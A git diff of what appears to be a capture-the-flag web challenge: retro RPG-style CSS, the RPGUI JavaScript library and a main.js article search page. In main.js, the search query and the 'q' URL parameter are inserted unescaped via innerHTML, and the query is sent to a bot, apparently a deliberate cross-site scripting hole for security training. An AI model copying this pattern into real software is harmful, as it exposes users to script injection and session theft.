url("img/scrollbar-button.png"); + background-size: 100% 100%; + background-repeat: no-repeat; } + +/** +* for disabled elements +*/ +/* disabled object */ +.rpgui-disabled, +.rpgui-content :disabled, +.rpgui-content input[type=radio]:disabled + label, +.rpgui-content input[type=checkbox]:disabled + label, +.rpgui-content input[type=range]:disabled + .rpgui-slider-container, +.rpgui-content :disabled + .rpgui-dropdown-imp, +.rpgui-content :disabled + .rpgui-dropdown-imp + .rpgui-dropdown-imp, +.rpgui-content :disabled + .rpgui-list-imp { + cursor: url("img/cursor/default.png"), auto; + -webkit-filter: grayscale(1); + -webkit-filter: grayscale(100%); + filter: grayscale(100%); + filter: url(#greyscale); + filter: url("data:image/svg+xml;utf8,#grayscale"); + filter: gray; + color: #999; } + +/** +* Rules for the slider. +*/ +/* regular slider stuff */ +/* slider container */ +.rpgui-slider-container { + height: 20px; + width: 100%; + margin-top: 15px; + margin-bottom: 15px; + position: relative; } + +/* slider left edge */ +.rpgui-slider-left-edge { + position: absolute; + height: 20px; + width: 20px; + left: 0px; + background-image: url("img/slider-left.png"); + background-size: 100% 100%; } + +/* slider right edge */ +.rpgui-slider-right-edge { + position: absolute; + height: 20px; + width: 20px; + right: 0px; + background-image: url("img/slider-right.png"); + background-size: 100% 100%; } + +/* slider background track */ +.rpgui-slider-track { + position: absolute; + height: 20px; + left: 0; + right: 0; + background-image: url("img/slider-track.png"); + background-repeat: repeat-x; + background-size: 24px 100%; } + +/* the part of the slider that moves and indicates the value */ +.rpgui-slider-thumb { + position: absolute; + height: 30px; + width: 15px; + margin-top: -5px; + left: 40px; + background-image: url("img/slider-thumb.png"); + background-size: 100% 100%; } + +/* golden slider stuff */ +/* golden slider container */ +.rpgui-slider-container.golden { + height: 30px; + width: 100%; + margin-top: 15px; + margin-bottom: 15px; + position: relative; } + +/* golden slider left edge */ +.rpgui-slider-left-edge.golden { + position: absolute; + height: 30px; + width: 30px; + left: 0px; + background-image: url("img/slider-left-golden.png"); + background-size: 100% 100%; } + +/* golden slider right edge */ +.rpgui-slider-right-edge.golden { + position: absolute; + height: 30px; + width: 30px; + right: 0px; + background-image: url("img/slider-right-golden.png"); + background-size: 100% 100%; } + +/* golden slider background track */ +.rpgui-slider-track.golden { + position: absolute; + height: 30px; + left: 0; + right: 0; + background-image: url("img/slider-track-golden.png"); + background-repeat: repeat-x; + background-size: 40px 100%; } + +/* golden the part of the slider that moves and indicates the value */ +.rpgui-slider-thumb.golden { + position: absolute; + height: 36px; + width: 18px; + margin-top: -4px; + left: 40px; + background-image: url("img/slider-thumb-golden.png"); + background-size: 100% 100%; } diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/images/fifth.webp b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/images/fifth.webp new file mode 100644 index 0000000..0590697 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/images/fifth.webp differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/images/fourth.webp b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/images/fourth.webp new file mode 100644 index 0000000..ea9e104 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/images/fourth.webp differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/images/one.webp b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/images/one.webp new file mode 100644 index 0000000..b2fea08 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/images/one.webp differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/images/second.webp b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/images/second.webp new file mode 100644 index 0000000..b00d8fb Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/images/second.webp differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/images/third.webp b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/images/third.webp new file mode 100644 index 0000000..c7b8f40 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/images/third.webp differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/js/main.js b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/js/main.js new file mode 100644 index 0000000..10f1081 --- /dev/null +++ b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/js/main.js @@ -0,0 +1,137 @@ +document.addEventListener("DOMContentLoaded", function () { + const articles = [ + { + name: "The Witch's Curse", + description: + "Explore the eerie tale of the infamous witch of Raven Hollow, whose curse turned an entire village into shadows. Unravel the dark history and learn about the brave souls who sought to lift the curse.", + author: "Xclow3n", + image: "/static/images/one.webp", + }, + { + name: "Haunted Woods of Dreadfall", + description: + "Journey into the haunted forest where lost souls wander and strange creatures lurk. Discover the chilling stories behind those who entered Dreadfall and never returned.", + author: "Xclow3n", + image: "/static/images/second.webp", + }, + { + name: "The Phantom's Lament", + description: + "Listen to the tragic tale of the Phantom of Blackmoor Manor, who roams the halls in search of a long-lost love. This article delves deep into the ghostly appearances and the spine-tingling encounters within the manor.", + author: "Xclow3n", + image: "/static/images/third.webp", + }, + { + name: "The Blood Moon Awakening", + description: + "On a night when the blood moon rises, the ancient vampires of the Nightshade clan awaken from their centuries-long slumber. Emerging from their crypts, these fearsome beings once terrorized the realm with their insatiable thirst for blood. Cloaked in the shadows of the graveyard, their red eyes pierce the darkness, and their fangs gleam under the crimson light of the moon. Legends say that on nights like these, the Nightshade vampires gather to plan their return, their influence growing as the moon turns red. This article delves into the origins of the blood moon awakening and the vampire hunters sworn to stop them.", + author: "Xclow3n", + image: "/static/images/fourth.webp", + }, + { + name: "The Pumpkin King's Return", + description: + "Every century, the Pumpkin King rises from his cursed slumber to wreak havoc during the harvest festival. This article traces the origins of the Pumpkin King and the forgotten rituals used to seal him away.", + author: "Xclow3n", + image: "/static/images/fifth.webp", + }, + ]; + + const articlesContainer = document.querySelector(".articles-container"); + const searchInput = document.querySelector( + 'input[placeholder="Search the Shadows..."]', + ); + const searchButton = document.getElementById("searchBTN"); + const searchResultsHeading = document.createElement("h2"); + + searchInput.parentNode.parentNode.appendChild(searchResultsHeading); + + // Function to render the filtered articles + function renderArticles(filteredArticles) { + articlesContainer.innerHTML = ""; // Clear the current articles + filteredArticles.forEach((article) => { + const articleElement = document.createElement("div"); + articleElement.classList.add("rpgui-container", "framed-golden-2"); + articleElement.style.marginBottom = "20px"; + + articleElement.innerHTML = ` +
+ +
+

${article.name}

+

${article.description}

+

Author: ${article.author}

+ +
+
+ `; + + articlesContainer.appendChild(articleElement); + }); + } + + // Function to filter the articles based on the query + function filterArticles(query) { + const lowerCaseQuery = query.toLowerCase(); + return articles.filter( + (article) => + article.name.toLowerCase().includes(lowerCaseQuery) || + article.description.toLowerCase().includes(lowerCaseQuery) || + article.author.toLowerCase().includes(lowerCaseQuery), + ); + } + + // Function to trigger the search and render the results + function applySearch(query) { + const filteredArticles = filterArticles(query); + + // Update search results heading + if (query.trim() !== "") { + searchResultsHeading.innerHTML = `Results for: "${query}"`; + searchResultsHeading.style.display = "block"; + } else { + searchResultsHeading.style.display = "none"; + } + + renderArticles(filteredArticles); // Render filtered articles + } + + // Function to handle the click on the search button + searchButton.addEventListener("click", function () { + const query = searchInput.value; + + // First render the articles + applySearch(query); + + // Then send the fetch request to trigger the bot + fetch("/search", { + method: "POST", + headers: { + "Content-Type": "application/json", + }, + body: JSON.stringify({ query }), + }) + .then((response) => response.json()) + .then((data) => { + console.log("Bot triggered:", data.message); + }) + .catch((error) => { + console.error("Error triggering bot:", error); + }); + }); + + // Check if there's a `q` query parameter in the URL and trigger search if it exists + const urlParams = new URLSearchParams(window.location.search); + const queryParam = urlParams.get("q"); + + if (queryParam) { + // Set the search input value to the query parameter + searchInput.value = queryParam; + + // Trigger search based on the query parameter without sending a fetch request + applySearch(queryParam); + } + + // Initial load: render all articles + renderArticles(articles); +}); diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/js/rpgui.js b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/js/rpgui.js new file mode 100644 index 0000000..18ed970 --- /dev/null +++ b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/js/rpgui.js @@ -0,0 +1,1027 @@ +RPGUI = (function() { + +/** +* init rpgui. +* this is the first file included in the compiled js. +*/ + +// rpgui global namespace +var RPGUI = RPGUI || {}; + +// lib version +RPGUI.version = 1.03; + +// author +RPGUI.author = "Ronen Ness"; + +// if true, will init rpgui as soon as page loads +// if you set to false you need to call RPGUI.init(); yourself. +RPGUI.init_on_load = true; +window.addEventListener("load", function() +{ + if (RPGUI.init_on_load) {RPGUI.init();} +}); + +// init RPGUI and everything related +RPGUI.init = function() +{ + if (RPGUI._was_init) {throw "RPGUI was already init!";} + for (var i = 0; i < RPGUI.__init_list.length; ++i) + { + RPGUI.__init_list[i](); + } + RPGUI._was_init = true; +} + +// list of functions to run as part of the init process +RPGUI.__init_list = []; + +// add a function to be called as part of the init process. +// note: order is preserve. you may use this function to init things after RPGUI is fully loaded, since +// all RPGUI will have its init functions during the inclusion of the script. +RPGUI.on_load = function(callback) +{ + // if was already init call immediately + if (RPGUI._was_init) {callback();} + + // add to init list + RPGUI.__init_list.push(callback); +} +/** +* Used to provide unified, easy javascript access to customized elements. +*/ + + +// different callbacks for different methods and types +RPGUI.__update_funcs = {}; +RPGUI.__create_funcs = {}; +RPGUI.__get_funcs = {} +RPGUI.__set_funcs = {}; + +// create a customized rpgui element ("list", "dropbox", etc.) +// note: this function expect the original html element. +RPGUI.create = function(element, rpgui_type) +{ + // call the creation func and set type + if (RPGUI.__create_funcs[rpgui_type]) + { + element.dataset['rpguitype'] = rpgui_type; + RPGUI.__create_funcs[rpgui_type](element); + } + // not a valid type? exception. + else + { + throw "Not a valid rpgui type! options: " + Object.keys(RPGUI.__create_funcs); + } +} + +// update an element after you changed it manually via javascript. +// note: this function expect the original html element. +RPGUI.update = function(element) +{ + // if have update callback for this type, use it + var type = element.dataset['rpguitype'] + if (RPGUI.__update_funcs[type]) + { + RPGUI.__update_funcs[type](element); + } + // if not, use the default (firing update event) + else + { + RPGUI.fire_event(element, "change"); + } +} + + +// set & update the value of an element. +// note: this function expect the original html element. +RPGUI.set_value = function(element, value) +{ + // if have set value callback for this type, use it + var type = element.dataset['rpguitype']; + if (RPGUI.__set_funcs[type]) + { + RPGUI.__set_funcs[type](element, value); + } + // if not, use the default (setting "value" member) + else + { + element.value = value; + } + + // trigger update + RPGUI.update(element); +} + + + +// get the value of an element. +// note: this function expect the original html element. +RPGUI.get_value = function(element) +{ + // if have get value callback for this type, use it + var type = element.dataset['rpguitype']; + if (RPGUI.__get_funcs[type]) + { + return RPGUI.__get_funcs[type](element); + } + // if not, use the default (getting the "value" member) + else + { + return element.value; + } +} +/** +* This script generate the rpgui checkbox class. +* This will replace automatically every element that has the "rpgui-checkbox" class. +*/ + + +// class name we will convert to special checkbox +var _checkbox_class = "rpgui-checkbox"; + +// create a rpgui-checkbox from a given element. +// note: element must be of type "checkbox" for this to work properly. +RPGUI.__create_funcs["checkbox"] = function(element) +{ + RPGUI.add_class(element, _checkbox_class); + create_checkbox(element); +}; + +// set function to set value of the checkbox +RPGUI.__set_funcs["checkbox"] = function(elem, value) +{ + elem.checked = value; +}; + +// set function to get value of the checkbox +RPGUI.__get_funcs["checkbox"] = function(elem) +{ + return elem.checked; +}; + +// init all checkbox elements on page load +RPGUI.on_load(function() +{ + // get all the input elements we need to upgrade + var elems = document.getElementsByClassName(_checkbox_class); + + // iterate the selects and upgrade them + for (var i = 0; i < elems.length; ++i) + { + RPGUI.create(elems[i], "checkbox"); + } +}); + +// upgrade a single "input" element to the beautiful checkbox class +function create_checkbox(elem) +{ + // get next sibling, assuming its the checkbox label. + // this object will be turned into the new checkbox. + var new_checkbox = elem.nextSibling; + + // validate + if (!new_checkbox || new_checkbox.tagName !== "LABEL") + { + throw "After a '" + _checkbox_class + "' there must be a label!"; + } + + // copy all event listeners and events + RPGUI.copy_event_listeners(elem, new_checkbox); + + // do the click event for the new checkbox + (function(elem, new_checkbox) + { + new_checkbox.addEventListener("click", function() + { + if (!elem.disabled) + { + RPGUI.set_value(elem, !elem.checked); + } + + }); + })(elem, new_checkbox); +} + +/** +* Init rpgui content and what's inside. +*/ + +// init all the rpgui containers and their children +RPGUI.on_load(function() +{ + // get all containers and iterate them + var contents = document.getElementsByClassName("rpgui-content"); + for (var i = 0; i < contents.length; ++i) + { + // get current container and init it + var content = contents[i]; + + // prevent dragging + RPGUI.prevent_drag(content); + + // set default cursor + RPGUI.set_cursor(content, "default"); + } +}); + +/** +* This script add the dragging functionality to all elements with "rpgui-draggable" class. +*/ + + +// element currently dragged +var _curr_dragged = null; +var _curr_dragged_point = null; +var _dragged_z = 1000; + +// class name we consider as draggable +var _draggable_class = "rpgui-draggable"; + +// set element as draggable +// note: this also add the "rpgui-draggable" css class to the element. +RPGUI.__create_funcs["draggable"] = function(element) +{ + // prevent forms of default dragging on this element + element.draggable = false; + element.ondragstart = function() {return false;} + + // add the mouse down event listener + RPGUI.add_class(element, _draggable_class); + element.addEventListener('mousedown', mouseDown); +}; + +// init all draggable elements (objects with "rpgui-draggable" class) +RPGUI.on_load(function() +{ + // init all draggable elements + var elems = document.getElementsByClassName(_draggable_class); + for (var i = 0; i < elems.length; ++i) + { + RPGUI.create(elems[i], "draggable"); + } + + // add mouseup event on window to stop dragging + window.addEventListener('mouseup', mouseUp); +}); + +// stop drag +function mouseUp(e) +{ + _curr_dragged = null; + window.removeEventListener('mousemove', divMove); +} + +// start drag +function mouseDown(e){ + + // set dragged object and make sure its really draggable + var target = e.target || e.srcElement; + if (!RPGUI.has_class(target, _draggable_class)) {return;} + + _curr_dragged = target; + + // set holding point + var rect = _curr_dragged.getBoundingClientRect(); + _curr_dragged_point = {x: rect.left-e.clientX, y: rect.top-e.clientY}; + + // add z-index to top this element + target.style.zIndex = _dragged_z++; + + // begin dragging + window.addEventListener('mousemove', divMove, true); + +} + +// dragging +function divMove(e){ + if (_curr_dragged) + { + _curr_dragged.style.position = 'absolute'; + _curr_dragged.style.left = (e.clientX + _curr_dragged_point.x) + 'px'; + _curr_dragged.style.top = (e.clientY + _curr_dragged_point.y) + 'px'; + } +} + +/** + * This script generate the rpgui progress-bar class. + * This will replace automatically every
element that has the "rpgui-progress" class. + */ + + +// class name we will convert to special progress +var _progress_class = "rpgui-progress"; + +// create a rpgui-progress from a given element. +// note: element must be of type "range" for this to work properly. +RPGUI.__create_funcs["progress"] = function(element) +{ + RPGUI.add_class(element, _progress_class); + create_progress(element); +}; + +// set function to set value of the progress bar +// value should be in range of 0 - 1.0 +RPGUI.__set_funcs["progress"] = function(elem, value) +{ + // get trackbar and progress bar elements + var track = RPGUI.get_child_with_class(elem, "rpgui-progress-track"); + var progress = RPGUI.get_child_with_class(track, "rpgui-progress-fill"); + + // get the two edges + var edge_left = RPGUI.get_child_with_class(elem, "rpgui-progress-left-edge"); + var edge_right = RPGUI.get_child_with_class(elem, "rpgui-progress-right-edge"); + + // set progress width + progress.style.left = "0px"; + progress.style.width = (value * 100) + "%"; +}; + +// init all progress elements on page load +RPGUI.on_load(function() +{ + // get all the select elements we need to upgrade + var elems = document.getElementsByClassName(_progress_class); + + // iterate the selects and upgrade them + for (var i = 0; i < elems.length; ++i) + { + RPGUI.create(elems[i], "progress"); + } +}); + +// upgrade a single "input" element to the beautiful progress class +function create_progress(elem) +{ + // create the containing div for the new progress + progress_container = elem; + + // insert the progress container + RPGUI.insert_after(progress_container, elem); + + // create progress parts (edges, track, thumb) + + // track + var track = RPGUI.create_element("div"); + RPGUI.add_class(track, "rpgui-progress-track"); + progress_container.appendChild(track); + + // left edge + var left_edge = RPGUI.create_element("div"); + RPGUI.add_class(left_edge, "rpgui-progress-left-edge"); + progress_container.appendChild(left_edge); + + // right edge + var right_edge = RPGUI.create_element("div"); + RPGUI.add_class(right_edge, "rpgui-progress-right-edge"); + progress_container.appendChild(right_edge); + + // the progress itself + var progress = RPGUI.create_element("div"); + RPGUI.add_class(progress, "rpgui-progress-fill"); + track.appendChild(progress); + + // set color + if (RPGUI.has_class(elem, "blue")) {progress.className += " blue";} + if (RPGUI.has_class(elem, "red")) {progress.className += " red";} + if (RPGUI.has_class(elem, "green")) {progress.className += " green";} + + // set starting default value + var starting_val = elem.dataset.value !== undefined ? parseFloat(elem.dataset.value) : 1; + RPGUI.set_value(elem, starting_val); +} + +/** +* This script generate the rpgui radio class. +* This will replace automatically every element that has the "rpgui-radio" class. +*/ + + +// class name we will convert to special radio +var _radio_class = "rpgui-radio"; + +// create a rpgui-radio from a given element. +// note: element must be of type "radio" for this to work properly. +RPGUI.__create_funcs["radio"] = function(element) +{ + RPGUI.add_class(element, _radio_class); + create_radio(element); +}; + +// set function to set value of the radio +RPGUI.__set_funcs["radio"] = function(elem, value) +{ + elem.checked = value; +}; + +// set function to get value of the radio button +RPGUI.__get_funcs["radio"] = function(elem) +{ + return elem.checked; +}; + +// init all radio elements on page load +RPGUI.on_load(function() +{ + // get all the input elements we need to upgrade + var elems = document.getElementsByClassName(_radio_class); + + // iterate the selects and upgrade them + for (var i = 0; i < elems.length; ++i) + { + RPGUI.create(elems[i], "radio"); + } +}); + +// upgrade a single "input" element to the beautiful radio class +function create_radio(elem) +{ + // get next sibling, assuming its the radio label. + // this object will be turned into the new radio. + var new_radio = elem.nextSibling; + + // validate + if (!new_radio || new_radio.tagName !== "LABEL") + { + throw "After a '" + _radio_class + "' there must be a label!"; + } + + // copy all event listeners and events + RPGUI.copy_event_listeners(elem, new_radio); + + // do the click event for the new radio + (function(elem, new_radio) + { + new_radio.addEventListener("click", function() + { + if (!elem.disabled) + { + RPGUI.set_value(elem, true); + } + }); + })(elem, new_radio); +} + +/** +* This script generate the rpgui dropdown element that has the "rpgui-dropdown" class. +*/ + + +// class name we will convert to dropdown +var _dropdown_class = "rpgui-dropdown"; + +// create a rpgui-dropdown from a given element. +// note: element must be . +* This will replace automatically every with